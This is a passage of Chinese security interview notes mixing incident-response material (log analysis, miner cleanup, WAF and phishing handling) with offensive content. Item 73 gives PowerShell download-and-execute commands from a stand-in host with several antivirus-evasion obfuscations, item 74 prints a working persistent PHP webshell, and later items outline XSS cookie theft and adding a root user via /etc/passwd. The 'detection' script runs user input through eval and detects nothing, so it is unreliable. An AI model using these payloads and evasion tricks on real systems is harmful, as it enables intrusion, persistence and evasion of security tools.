根据网上的搜索结果,XXE被归入安全配置错误类别,而不是注入类别,可能有以下几个原因12

  • XXE漏洞的产生往往是由于XML解析器的默认配置没有禁用外部实体的解析,而不是由于用户输入的数据被当作命令或查询的一部分执行。因此,XXE漏洞更像是一种配置错误,而不是一种注入攻击。
  • XXE漏洞的利用方式和影响范围与其他类型的注入攻击有所不同。XXE漏洞可以用来读取服务器上的任意文件,发起SSRF攻击,或者通过错误信息或外带通道获取敏感数据。这些攻击方式和影响范围与SQL注入或命令注入等更常见的注入攻击有所区别。
  • XXE漏洞的防御措施和其他类型的注入攻击也有所不同。XXE漏洞的最佳防御措施是禁用XML解析器对外部实体的解析,或者使用白名单过滤允许解析的实体。这些措施与对用户输入进行编码或转义等防止注入攻击的措施有所区别。

OWASP 前 10:2021

60.挖矿病毒判断&挖矿常见手段&处理

“肉眼”排查

消耗大量的CPU或GPU资源,由于挖矿程序通常会占用大量的系统资源和网络资源,所以结合经验是快速判断企业内部是否遭受恶意挖矿攻击的最简易手段。

通常企业机构内部出现异常的多台主机卡顿情况,在线业务或服务出现频繁无响应,内部网络出现拥堵,在反复重启,并排除系统和程序本身的问题后依然无法解决,那么就需要考虑是否感染了恶意挖矿程序。

进程行为

top命令查看CPU占用率情况,并按C键通过占用率排序,查找CPU高的进程。

在top命令执行过程中可以使用的一些交互命令。这些命令都是单字母的,如果在命令行中使用了-s选项, 其中一些命令可能会被屏蔽。

1
2
M:根据驻留内存大小进行排序;
P:根据CPU使用百分比大小进行排序;

df -m 以Mb为单位显示磁盘使用量和占用率

网络连接状态
netstat -ano命令查看主机网络连接状态和对应进程,查看是否存在异常的连接。

自启动或任务计划脚本
查看自启动或定时任务列表,例如通过crontab查看当前的定时任务。

安全防护日志
查看内部网络和主机的安全防护设备告警和日志信息,查找异常。

  • 清除恶意挖矿程序

  1. 终止挖矿进程,删除挖矿文件和服务。
  2. 检查是否可疑计划任务和可疑启动项,删除挖矿相关的任务、服务、启动项。
  3. 检查hosts、user等配置文件,删除可疑新增的内容。
  • 防护恶意挖矿攻击

应该在其企业内部使用的相关系统,组件和服务出现公开的相关远程利用漏洞时,尽快更新其到最新版本,或在为推出安全更新时采取恰当的缓解措施。

对于在线系统和业务需要采用正确的安全配置策略,使用严格的认证和授权策略,并设置复杂的访问凭证。
加强人员的安全意识,避免企业人员访问带有恶意挖矿程序的文件、网站。

杜绝内部人员的主动挖矿行为。

  • 传播方式

例如钓鱼欺诈,色情内容诱导,伪装成热门内容的图片或文档,捆绑正常应用程序等

61.常见端口漏洞

Memcached 11211

mysql 3306

  • 22 端口(SSH)

1
2
3
4
安全攻击:弱口令、暴力猜解、用户名枚举
利用方式:
1、通过用户名枚举可以判断某个用户名是否存在于目标主机中,
2、利用弱口令/暴力破解,获取目标主机权限。
  • 1433 端口(sql server)

1
2
安全漏洞:弱口令、暴力破解
利用方式:差异备份getshell、SA账户提权等
  • 25/465端口渗透剖析

1
2
3
4
smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件
默认端口:25(smtp)、465(smtps)
(1)爆破:弱口令
(2)未授权访问
  • 443 端口(SSL)

1
2
3
4
安全漏洞:OpenSSL 心脏出血
利用方式:攻击者可以远程读取存在漏洞版本的openssl服务器内存中长达64K的数据。
扫描脚本:nmap -sV --script=ssl-heartbleed <target>

445

1
永恒之蓝

62.Linux日志分析技巧命令

检查系统日志

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
定位有多少IP在爆破主机的root帐号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
| more
定位有哪些IP在爆破:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4]
[0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print
"$1\n";}'|uniq -c|sort -nr

登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

增加一个用户kali日志:
#grep "useradd" /var/log/username

删除用户kali日志:
# grep "userdel" /var/log/username

63.windows日志分析工具

Event Log Explorer是一款非常好用的Windows日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系统,应用程序和其他微软Windows 的记录被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。

64.给你一个比较大的日志,应该如何分析

删除一些重复的日志

通过文本搜索,或者 grep来完成

使用一些github上的工具

65.流量检测设备和态势感知设备发生报警,对警告进行分析,讲一下你流量分析和上机排查的思路

排查一下是否是误报,设备误报如何处理

先判断是否是恶意攻击行为

如果判断不了或者判断是真正的攻击行为立即上报

更新设备,与供应商联系进行修复,或者更新

排查主机上面是否有其他的告警情况

如果存在首先隔绝该主机与其他主机的联系(内网下线处理,避免病毒横向传播导致局域网内其它机器被动染毒),可能的话关闭主机服务

上机排查

首先排查服务日志情况,查看通过什么方式修补漏洞

其次查看主机操作日志 是否有其他横向渗透,或者权限维持手段

ip代理如何排查

具体来说 看 X-Forwarded-For 请求头

面试官问的时候是这样问的:
如果对方一分钟换一个IP怎么办

红队的ip不可能是无限的 可以寻找 一段时间内的规律进行统一封禁

或者根据攻击方的流量特征来进行封禁

66.如何修改WEB端口?

要修改Web端口,需要打开Web服务器的配置文件,

Web服务器的配置文件可以在/etc/httpd/conf/httpd.conf或/etc/nginx/nginx.conf等位置找到。需要使用超级用户权限(sudo)打开配置文件。

注释掉默认端口,添加新的端口,

在配置文件中搜索默认Web端口。找到该行并将其用#注释掉。

在配置文件中添加新的端口。选择任何未被其他进程使用的端口。

保存并关闭文件,并重启Web服务器。

保存您所做的更改并关闭配置文件。

systemctl restart apache2

67.你还用过其他态势感知的产品吗?

态势感知是基于网络环境、动态的、整体的洞悉网络安全风险,以安全大数据为基础,以企业的业务为核心,进行实时的异常检测,实现安全分析智能化与威胁可视化,并提供威胁情报共享、安全态势感知和高级威胁侦测分析等服务。

FOFA

之前面试奇安信的时候,了解过奇安信的天眼

阿里云安全中心

68.钓鱼邮件处置

屏蔽办公区域对钓鱼邮件内容涉及站点、URL访问

  • 屏蔽钓鱼邮件
1
2
3
4
屏蔽钓鱼邮件来源邮箱域名
屏蔽钓鱼邮件来源IP
有条件的可以根据邮件内容进行屏蔽
删除还在邮件服务器未被客户端收取钓鱼邮件
  • 处理接收到钓鱼邮件的用户

根据钓鱼邮件发件人进行日志回溯

  • 全盘排查木马

  • 加强人员安全认识

69.如何查看区分是扫描流量和手动流量

可以通过观察流量的频率、操作行为、来源和目标范围等方面,来区分扫描流量和手动流量。

  • **流量频率:**扫描流量通常会在短时间内不断尝试连接目标主机,而手动流量则不会频繁连接,会有较长的时间间隔。
  • **操作行为:**扫描流量的操作行为通常是重复的,例如不断尝试使用常见的弱口令或访问常见的漏洞路径;而手动流量则通常是有目的性的,例如尝试获取特定的敏感信息或利用已知的漏洞。
  • **流量来源:**扫描流量通常来自于自动化的工具或蠕虫病毒等恶意软件,而手动流量则来自于具有实际攻击能力的攻击者。
  • **目标范围:**扫描流量通常会涉及大量的目标主机,而手动流量则通常会针对特定的目标主机进行攻击。

70.WAF产品如何来拦截攻击?

之前遇到过一个网站你想要用BP抓包的时候会直接锁定你现在的IP,再也不能访问这个页面,后面搜了一下,

多了一个Connection: close头部,删除这个头部burp发包发现能收到返回包。

burpsuite的机制是断点处理数据,这个站他会定时的抽检数据包,然后客户端定时返回,然后如果服务端没有接收到的话,他就认为这个东西丢包了。所以我们看不到回显页面的数据包。

  • WAF主要是通过内置的很多安全规则来进行防御.

**签名检测:**可以通过对HTTP请求中的数据进行比对,来检测是否包含已知的攻击特征。

**白名单/黑名单:**WAF可以设置白名单和黑名单,对请求进行过滤。

**行为分析:**WAF还可以通过对HTTP请求的行为进行分析,例如请求的频率、请求参数的长度、请求内容的格式等,来判断是否为恶意请求。

**客户端行为检测:**WAF可以检测客户端的行为,例如检测是否包含恶意的JavaScript代码或者检测是否存在钓鱼攻击。

**报告和记录:**WAF可以记录所有的HTTP请求和响应,并且生成相应的报告和日志,可以帮助管理员及时发现并处理网络攻击。

可防护常见的SQL注入,XSS,网页篡改,中间件漏洞等OWASP TOP10攻击行
具有威胁感知能力,当发现攻击后,可将IP进行锁定,IP锁定之后将无法访问网站业务
也支持防止CC攻击,采用集中度和速率双重检测算法

不具备的功能**(给你加深一下 影响,防止你想不起来就乱猜)**

1
2
3
4
- WAF不能过滤其他协议流量,如FTP、PoP3协议
- WAF不能实现传统防护墙功能,如地址映射
- WAF不能防止网络层的DDoS攻击
- WAF不能防病毒

71.不安全的第三方组件的漏洞如何做前置规避?

这个不安全是指刚爆出一个严重的漏洞,那就更新呗,要是没修复,那就自己黑名单白名单过滤一下

都摆明了不安全了为什么还要用,只能提前为入侵、关闭或中断做好准备,事件响应计划很重要。通过实践、测试和易执行的响应计划和补救措施,防止损失,但要是重要服务的话未免太草率了

  • 安全战略评估

    要评估风险与合规性,需要针对业务挑战、需求和目标评估现有的安全治理框架——包括数据隐私、第三方风险和IT法规合规需求及差距。安全风险量化、安全开发、法规和标准合规性以及安全教育和培训是关键

  • 事件响应计划与编排

    提前为入侵、关闭或中断做好准备,并拥有稳健的事件响应计划很重要。通过实践、测试和易执行的响应计划和补救措施,防止损失

72.如果现在要你写一个检测命令注入的脚本?

我通常是用gpt,毕竟无论什么脚本人都是要先思考用哪个函数,而gpt可以直接生成更有效率

  1. 获取用户输入参数:通过命令行参数或者交互式输入等方式获取用户输入的命令参数。
  2. 过滤用户输入:对用户输入进行过滤,去除可能的特殊字符和关键词,避免输入的命令包含危险的命令或者字符。
  3. 拼接命令串:使用过滤后的用户输入和合法的命令组成一个新的命令串。
  4. 检测命令注入:通过执行新的命令串,观察命令是否被正确执行,或者是否出现异常情况(例如命令执行时间过长、命令返回结果异常等),来判断是否存在命令注入漏洞。
  5. 输出检测结果:将检测结果输出到屏幕上或者写入日志文件中,提示用户检测结果和存在的漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash
# 获取用户输入参数
command=$1
# 过滤用户输入
command=$(echo $command | sed 's/[^a-zA-Z0-9_]/ /g')
# 拼接命令串
full_command="ls $command"
# 检测命令注入
output=$(eval "$full_command" 2>&1)
if [ $? -ne 0 ]; then
echo "Command injection vulnerability detected!"
echo "Output: $output"
else
echo "No command injection vulnerability detected."
fi

72.渗透测试流程

明确目标:主要是确定需要渗透资产范围;确定规则,如怎么去渗透;确定需求,如客户需要达到一个什么样的效果。

信息收集:信息收集阶段主要是收集一些基础信息,系统信息应用信息版本信息服务信息人员信息以及相关防护信息。信息收集大多是工具加手工进行收集信息,工具如 nmap,相关终端命令,浏览器插件,在线工具等。(有能力就手搓一个也行,没能力就直接在github上找,毕竟造轮子比开发一个工具要省事)

漏洞探测(挖掘):主要是探测(挖掘)系统漏洞web 服务器漏洞web 应用漏洞以及其他端口服务漏洞,如 telnet,ssh,vnc,远程桌面连接服务(3389)等。

漏洞验证(利用):漏洞验证主要是利用探测到的漏洞进行攻击,方法主要有自动化验证(msf),手工验证,业务漏洞验证,公开资源的验证等。总的来说就是工具加手工,为了方便,可以将自己渗透常使用的工具进行封装为工具包。

**提升权限:**提升权限主要是在当前用户权限不是管理员的时候需要进行提升权限,提升权限可以是提升系统权限,web 应用权限或是数据库权限等。

**清除痕迹:**清楚痕迹主要是清除渗透过程中操作的一些痕迹,如添加的测试账号,上传的测试文件, powershell命令的历史记录等。

事后信息分析:主要是对整个渗透过程进行信息分析与整理,分析脆弱环节,技术防护情况以及管理方面的情况进行一个现状分析以及提出相关建议。

编写渗透测试报告:根据渗透测试具体情况编写渗透测试报告,渗透测试报告必须简洁明了,说清楚渗透清单(范围),攻击路径,渗透成果,以及详细的漏洞详情(相关描述、漏洞危害等)及可行的修复建议,最后对整改渗透情况进行简单的总结和分析,说清楚目前资产的一个状况是什么样的,应该从哪些方面进行加强和提升。

边缘资产如何探测

从主域名出发,我们首先需要考虑的是子域名,即xxx.com,

子域名收集

搜索引擎查询

谷歌黑暗搜索:

- site:domain.com filetype:xls|doc|pdf

- site:domain.com inurl:admin|login|manage

- site:domain.com intitle:管理|后台|登录

- site:domain.com intext:登录|后台、管理|error|debug

inturl:

1
2
3
4
5
6
网络空间安全搜索引擎
zoomeye(钟馗之眼):https://www.zoomeye.org
shodan:https://www.shodan.io
Fofa:https://fofa.so

PS:可编写Python脚本批量查询、获取

在线查询接口

1
2
3
4
5
6
7
http://tool.chinaz.com/subdomain/
http://i.links.cn/subdomain/
http://subdomain.chaxun.la/
http://searchdns.netcraft.com/
https://www.virustotal.com/
https://censys.io/
https://x.threatbook.cn/ 微步在线

子域名暴力猜解

1
2
3
4
5
爆破工具:
Layer子域名挖掘机
wydomain:https://github.com/ring04h/wydomain
subDomainsBrute:https://github.com/lijiejie/
Sublist3r:https://github.com/aboul3la/Sublist3r

DNS查询/枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DNS查询:
host -t a domainName
host -t mx domainName

优点:非常直观,通过查询DNS服务器的A记录、CNAME等,可以准确得到相关信息,较全。
缺点:有很大的局限性,很多DNS是禁止查询的。
参考:https://www.cnblogs.com/xuanhun/p/3489038.html

域传送漏洞

DNS暴力破解:fierce
参考链接:http://blog.csdn.net/jeanphorn/article/details/44987549

Passive DNS
参考链接:http://www.freebuf.com/articles/network/103815.html

HTTPS证书

1
2
3
4
5
6
7
8
9
证书颁发机构(CA)必须将他们发布的每个SSL/TLS证书发布到公共日志中。SSL/TLS证书通常包含域名、子域名和电子邮件地址。因此SSL/TLS证书成为了攻击者的切入点。

SSL证书搜索引擎:
https://certdb.com/domain/github.com
https://crt.sh/?Identity=%%.github.com
https://censys.io/

基于 HTTPS 证书的子域名收集小程序 :GetDomainsBySSL.py
参考链接:http://www.freebuf.com/articles/network/140738.html

综合搜索

1
2
3
4
5
提莫:https://github.com/bit4woo/teemo 
主要有三大模块:搜索引擎 第三方站点 枚举

利用全网IP扫描http端口 在访问IP的80或者8080端口的时候,可能会遇到配置了301跳转的,可以在header里获取域名信息。
全网扫描结果如下:https://scans.io/study/sonar.http

子域名筛选

1
2
当收集的子域名数量过大,手动筛选工作量太大,如何快速扫描,半自动的筛选出有效的可能存在漏洞的子域名。
参考链接:http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/3413.html

相关域名收集

旁站及c段收集
1
2
3
4
5
6
7
8
9
10
同IP网站及C段查询
IP反查域名

工具:御剑、K8现在还是dirmap好用
在线查询工具:
http://www.hackmall.cn/
http://www.webscan.cc/ 推荐
https://phpinfo.me/bing.php

将C段收集的相关IP,推测该单位所在的IP段,再针对IP段进行服务器端口扫描
端口扫描
1
对1-65535端口扫描,探测Web服务端口
主站提取
1
2
3
4
通过编写爬虫,从主站页面(一般在主页)获取相关业务系统

跨域策略文件 crossdomain.xml
如:https://www.baidu.com/crossdomain.xml
移动端
1
2
随着移动端的兴起,很多单位都有自己的移动APP、微信公众号、支付宝生活号等,这也是值得重点关注的点。

行业系统
1
2
3
同行业可能存在类似的系统,甚至于采用同一家厂商的系统,可互做对比
通用:办公OA、邮件系统、VPN等
医院:门户、预约系统、掌上医院、微信公众平台等

73.免杀了解过多少

  • 有源码免杀

  • 无源码免杀

  • powershell免杀

powershell免杀

powershell木马最常用的方式一般都为远程下载然后执行的方法,特点就是:直接内存运行,无文件落地.

例如:

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"

通常使用过程中当调用powershell进行远程下载执行时,会被杀软进行拦截。那么针对Powershell的免杀有两个思路:

对ps1文件进行免杀处理

对Powershell的行为进行免杀处理

免杀方法

使用关键字拆分进行bypass

例如,拆分前的powershell命令为:

1
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))”

假如杀软是对http这个关键字进行检测,那么我们可以对其进行如下拆分进行绕过,拆分后的powershell命令为

1
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://x.x.x.x/a''));Invoke-Mimikatz';IEX ($a+$b)”

假如是对downloadstring这个函数进行检测,那么我们可以使用replace来进行替换函数拆分downloadstring进行一个绕过,拆分后的powershell命令如下:

1
powershell "$a='IEX(New-Object Net.WebClient).Downlo';$b='123(''http://x.x.x.x'')'.Replace('123','adString');IEX ($a+$b)"
Fuzz思想进行bypass

可以利用Fuzz的思想进行bypass

例如单引号混淆前的命令为:

1
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a’))”

使用单引号混淆后的命令为:

1
powershell.exe "IEX ((new-object net.webclient).downloadstring('ht‘+’tp://x.x.x.x/a’))”
超长命令bypass

可以使用超长的命令来进行bypass。
例如,利用超长命令bypas前的powershell命令为:

1
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a’))”

进行超长命令构造后的powershell命令为

1
powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal w Normal -w Normal -w Normal -w Normal -w Normal -w Normal IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))
使用copy命令进行bypass

这里讲一个骚操作,一些杀软是检测powershell这个使用的动作,那么我们可以使用windows的copy命令,将powshell进行拷贝命名为其他的,例如,使用copy命令将powershell拷贝一个并命名为bypass.txt
命令:

1
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt

那么后面就可以这样子来执行powershell来进行绕过杀软检测:

1
bypass.txt IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))
混合bypass
1
powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht‘+’tp://x.x.x.x/a')

跟不知道有没有逆着读命令进行绕过的方法

74.不死马查杀

看一个简单的不死马例子

1
2
3
4
5
6
7
8
9
10
11
<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.ZYGS.php';
$code = '<?php if(md5($_GET["zygs"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["ZYGS"]);}?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>

解析

1
2
3
4
5
6
7
ignore_user_abort(true);   //设置与远程客户端断开后是否继续执行脚本,true即不断开
set_time_limit(0); //设置脚本最大的执行时间,0即没有时间限制
@unlink(__FILE__); //删除文件本身
$file = '.ZYGS.php'; //文件名是.ZYGS.php
$code = <?php ?>; //php代码
file_get_contents(file,code); //打开file文件,然后写入code
usleep(5000); //每隔usleep(5000)写入一个新文件

unlink就是为了删除传入的不死马文件,避免一些不必要的信息泄露出去,$file中可以规定你要不断生成的文件名,

usleep(time)是生成木马的时间;这也是不死马的灵魂之一,通过不断生成文件在当前目录下,形成了不死马,不死马是一个进程所以往往要重启主机或重启服务才能kill掉,当然也可以条件竞争

1
<?php if(md5($_GET["zygs"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["ZYGS"]);}?>

这段代码是为了防止骑马(在以往的一句话木马中,密码简单方便呈现给了用户,如果在AWD中,知道了密码的话,就可以反手打一波其他的主机,因为如果是被批量种马的话,所有人都一样,这也就是"骑马"),通过判断用户传入的变量,然后转换成md5值和e10adc3949ba59abbe56e057f20f883e进行对比,如果e10adc3949ba59abbe56e057f20f883e解密出来的值和用户传入的值是一样的话,就继续执行@eval($_POST[‘ZYGS’]),这也是整个不死马中的灵魂,就是为了防止乌鸦坐飞机,一个人拿分

(e10adc3949ba59abbe56e057f20f883e == 123456)

触发后,虽然web页面没有,但是在后台可以看到

在这里插入图片描述

在这里插入图片描述

root用户角度的查杀

杀掉进程

1
2
ps aux | grep www-data | awk ‘{print $2}’ | xargs kill -9
然后重启服务

其他用户的查杀

在awd中,ctf用户没有权限,不能重启服务,而且,以ctf的用户来杀进程和条件竞争也是不可行的。(不死马会先创建,然后被删除,在创建到被删除的过程中会可利用。)

最简单的方式就是以www-data用户的角度通过杀进程来实现查杀。

杀掉进程:
1
<?php @system("ps -aux | grep www-data | awk '{print $2}' | xargs kill -9"); ?>
条件竞争:

不推荐,如果不死马中没有调用usleep()函数,进行延时的话,条件竞争是gg的。

75.排查出来一句话木马,没有日志怎么找

检查网站目录

看是否有可疑的代码或者文件名。

检查网络流量

使用网络监控工具分析网络流量,以检测与已知恶意主机或IP地址之间的通信。这可能会暴露任何存在的后门或远程控制连接。

别人已经将木马传到主机时,怎么排查

同系统排查,进程,启动项,服务,网络连接端口检查,任务计划排查,用户信息检查

使用 lsof 命令查看当前是否有进程打开 / var/log/日志文件.log

lsof|grep/var/log/secure

rsyslogd1264root4wREG 8,13173904263917/var/log/secure(deleted)

从上面的信息可以看到 PID 1264(rsyslogd)打开文件的文件描述符为 4。同时还可以看到 / var/log/ secure 已经标记为被删除了。因此我们可以在 / proc/1264/fd/4(fd 下的每个以数字命名的文件表示进程对应的文件描述符)中查看相应的信息,如下:

查看/proc/1264/fd/4就能得到被删除的数据

1
[root@hlmcen69n3~]#tail/proc/1264/fd/4

防护

利用PHP的 功能

  • 利用PHP的 disable_functions 功能,禁用一些常用的执行命令的函数,如 eval , assert , system , exec 等。

  • 利用PHP的 safe_mode 功能,开启安全模式,限制PHP脚本的权限和功能。

  • 利用WAF或者IDS等安全设备或软件,对一句话木马的特征进行检测和拦截。

  • 利用文件监控或者日志分析等手段,及时发现和处理异常的文件或者请求。

76域内横向移动

划重点:参考文章

1
https://pingmaoer.github.io/2020/06/27/%E5%9F%9F%E5%86%85%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8%E4%B8%80/

利用域内横向移动技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)

1

通过此类攻击手法,最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设置和与业务相关的关键账户

0x01 常用的windows远程连接和相关命令

0x02 Windoors系统散列值获取

0x03 哈希传递攻击

0x04票据传递

77.如何溯源

答案一:

判断Webshell事件发生时间:根据异常现象发生时间,结合网站目录中Webshell文件的创建时间,可大致定位事件发生的时间段。以便后续依据此时间进行溯源分析、追踪攻击者的活动路径。

对攻击路径进行溯源分析:如果网站被植入暗链或出现单击链接跳转到其他网站(如博彩网站、色情网站等)的情况,应首先排查网站首页相关js,查看是否被植入了恶意跳转的js。
若网站首页被篡改或有其他被攻击的现象,可以根据网站程序信息,如程序目录、文件上传目录、war包部署目录,使用工具(如D盾)和搜索关键词(如eval、 base64_ decode、assert)方式,定位到Webshell文件并清除。然后根据日志进行溯源分析,同时除了进行Web应用层排查,还应对系统层进行全面排查,防止攻击者在获取Webshel后执行了其他的权限维持操作。

判断系统架构:收集系统信息,为快速溯源分析提供前期准备工作

项目 内容
服务器 Windows、Linux等
内容管理系统(CMS) Jeecms、Wordpress、 Drupal、 TRS WCM、Phpcms、 Dedecms 等
中间件 Tomcat、IIS、 Apache、 WebLogic、 JBoss、 Websphere、 Jetty 等
框架 Struts2、Thinkphp、 Spring、 Shiro、 Fastjson 等
数据库 Tomcat、IIS、 Apache、 WebLogic、 Struts、 MySQL等
脚本语言 ASP、PHP、JSP 等
业务架构 如前端网页内容是否是后端通过FTP上传的(新闻网偏多)等

答案二

针对 ip 溯源一二

一般来说,红队大部分都是使用代理节点进行测试,假如我们捕获或者从样本里面分析拿到了真实的 ip, 那么以下的操作场景就有用了,或者使用钓鱼反调的方式去获取到真实的 ip

来自创宇盾等节点的流量 ip

ip, 假设前面还有一层云 waf cdn 厂商等。那么需要协调到提供服务的厂商,快速获取到云 waf 或者 cdn 之前的节点真实 ip. 然后拿到了真实的 ip, 就变成了一些常规的溯源操作

whois 域名反查

ip, 初步可以进行 whois 查询,以及域名反查,查看历史的解析,以及历史的 ip 用有记录,运气好的话,假如攻击队队员使用的是自己的博客之类的 vps 常用节点,那么很有可能通过这个手法进行溯源到相关人员

探测端口 服务 进行反渗透

ip, 对该 ip 进行端口探测,服务探测,进行反渗透,一般来说红队的 vps 都是在一些国内的一些 vps 主机供应商或者云服务供应商那边购买,假如是国内的话,可以通过公安网警来进行协助查水表,获取真实人员的身份。假如我们反渗透成功,那么可以提取历史登入记录,历史 ip, 网络连接,进程 以及攻击工具 进程 内存镜像等方式进行取证分析.

威胁情报

ip, 对使用威胁情报进行综合分析,查看该 ip 他人对该 ip 打的标签,历史解析记录,历史变更记录,以及该 ip 上面关联的相关样本,这些都能够获取到进行进一步分析.

邮箱 qq 手机号 社工库

通过 ip 的 whois 获取到了相关人员的 qq 或者邮箱或者手机号,那么可以使用社工库,进行社工查询。比如 twitter 的社工库机器人或者自行研究的社工库进行综合关联分析

qq 微信 抖音 陌陌 等接口

获取到了手机号,那么可以通过 qq 微信 抖音 陌陌 等接口进行关联,一般获取到了手机号初步可以通过这种简单易行的手法去溯源到红队人员

ga 数据 运营商数据

有办法能通过 ga 资源,或者直接通过运营商拿数据,那就更好了

溯源如果挂了代理怎么做?

① 首先我要去查看报警日志,看一下是IP还是域名

情况1:如果是域名可以挂CDN,国外CloudFlare

情况1:如果没有CDN,用多地ping或者dns查询获取真实IP

情况2:如果有CDN,用各种方法

情况2:如果是IP,就需要查看数据包类型,有可能是http,tcp,…

情况1:如果是http,我可以去查看一下数据包的请求,有一些字段会暴露代理IP

REMOTE_ADDR 如果使用了代理就是代理IP,没有使用就是自己的IP

除此之外还有其他的一些字段,HTTP_X_FORWARDED_FOR

情况2:如果是socks,比如sock4或sock5,有一种情况是sock协议不会使用udp协议

我可以给IP发UDP数据包,查看返回信息,如果没有正确响应就说是代理

78.网络空间搜索引擎用过吗

FOFA

官网:https://fofa.info/

FOFA是白帽汇推出的一款网络空间搜索引擎,它通过进行网络空间测绘,能够帮助研究人员或者企业迅速进行网络资产匹配,例如进行漏洞影响范围分析、应用分布统计、应用流行度排名统计等.

逻辑连接符 具体含义
= 匹配,=""时,可查询不存在字段或者值为空的情况。
== 完全匹配,==""时,可查询存在且值为空的情况。
&&
|| 或者
!= 不匹配,!=""时,可查询值为空的情况。
*= 模糊匹配,使用或者?进行搜索,比如banner=“mys??” (个人版及以上可用)。
() 确认查询优先级,括号内容优先级最高。

79.怎么用渗透工具配合xss攻击获取服务器权限

想要获取服务器权限的话,可以搭建XSS平台,配合XSS获取到管理员的Cookie

访问之后通过chrome上的EditThisCookie插件替换cookie成功以管理员的身份进入后台

1
2
3
4
5
利用[浏览器的同源策略](https://www.jianshu.com/p/8aa9474a148c)

同源的定义:如果两个页面的协议,端口和主机都相同,则两个页面具有相同的源。Cookie:只有同源的网页才能共享,但是若两个页面一级域名相同,只是二级域名不同,那么浏览器可以通过设置document.domain来共享Cookie。

通过同源策略,我们成功的进入了管理员的后台。

进入后台第一件事:找上传点!

看看自己是什么权限

试一下能不能弹shell到msf

挖矿

隔离主机、排查(top资源占用、开机启动、任务计划、端口开放)、清除

内网

内网横移:IPC、WMI、SMB、msf密码喷射、PTP(ms14-068)

内网报警:定位报警>打补丁>木马查杀>分析流量>微补查询> whois>社工

JNDI注入

原理:

当应用进行JNDI查询的时候,若查询的URL可以由攻击者控制,则攻击者可以使服务器去查询恶意的链接使得服务器加载一些恶意Class,实现任意代码执行。

防护建议

  • 若该漏洞源于第三方组件,请及时进行组件版本升级。
  • 若为自写JNDI查询代码,请对查询的URL进行限制,禁止一些危险协议的查询。

JNI注入

原理:

JNI注入是一种通用的RASP(Runtime Application Self-Protection)绕过手段。当攻击者拿到代码执行权限后,可以通过Java Native函数去调用外部的恶意动态链接库,从而绕过Java层的安全防护,并隐匿具体的恶意行为。

防护建议:

服务器可能存在代码执行漏洞,检查漏洞的位置并限制执行代码的功能。

JSTL任意文件包含

原理:

JSP标准标签库(JSTL)是一个JSP标签集合,它封装了JSP应用的通用核心功能。当用户可控参数被直接拼接到JSTL标签中而未对该参数进行任何限制的情况下,攻击者可以构造特殊的攻击脚本造成任意文件读取、SSRF的攻击。

防护建议:

尽可能不要将用户可控参数直接拼接到JSTL标签上,如果必须这样做,请对该参数的内容进行严格的白名单控制。

80.获得了etc/passwd文件之后如何利用

暴力破解密码

当我们可以写入etc/passwd文件,利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。

我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。

首先,使用perl语言生成带有盐值的密码:

1
perl -le 'print crypt("password@123","addedsalt")'

img

然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件

1
